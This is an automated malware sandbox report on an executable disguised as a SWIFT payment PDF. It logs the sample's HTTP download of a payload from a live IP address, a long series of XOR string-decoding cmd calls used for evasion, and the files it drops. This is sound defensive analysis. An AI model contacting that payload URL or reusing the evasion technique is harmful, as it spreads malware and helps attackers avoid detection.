Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104

Source: global traffic

HTTP traffic detected: GET /yFtqL16.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 94.156.8.104Cache-Control: no-cache

Source: SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134625856432.00000000076B0000.00000004.00000020.00020000.00000000.sdmp, SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134626594503.0000000009280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.104/yFtqL16.bin
Source: SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134626594503.0000000009280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.104/yFtqL16.binApokOpt103.78.0.98/yFtqL16.bin
Source: SWIFTCOPYMT1030000000_pdf.exe, SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: SWIFTCOPYMT1030000000_pdf.exe, 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmp, SWIFTCOPYMT1030000000_pdf.exe, 00000006.00000000.133684224870.0000000000409000.00000008.00000001.01000000.00000004.sdmp, SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

6_2_00404FC2

Source: Conhost.exe

Process created: 93

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SWIFTCOPYMT1030000000_pdf.exe

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_004030EF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		6_2_004030EF
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00403188 CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		136_2_00403188

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File created: C:\Windows\resources\0409			Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File created: C:\Windows\resources\0409\gashanens.ini			Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_00404801		6_2_00404801
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00404801		136_2_00404801

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll B9631423A50C666FAF2CC6901C5A8D6EB2FECD306FDD2524256B7E2E37B251C2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll 9A1A5C6F598247BFA52624CD793B9EF4FB85863CC9DFD69EB7EF671CACC906C9

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: String function: 00402A07 appears 51 times

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092

Source: SWIFTCOPYMT1030000000_pdf.exe

Static PE information: invalid certificate

Source: SWIFTCOPYMT1030000000_pdf.exe	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: Nonaddicting.exe.136.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped

Source: SWIFTCOPYMT1030000000_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal96.troj.evad.winEXE@396/18@0/1

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_004042C5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

6_2_004042C5

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00402036 CoCreateInstance,MultiByteToWideChar,

6_2_00402036

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

File created: C:\Users\user\udskriftskartotek

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1268

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsaF52.tmp

Jump to behavior

Source: SWIFTCOPYMT1030000000_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SWIFTCOPYMT1030000000_pdf.exe	ReversingLabs: Detection: 15%
Source: SWIFTCOPYMT1030000000_pdf.exe	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

File read: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "247^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "193^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "247^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
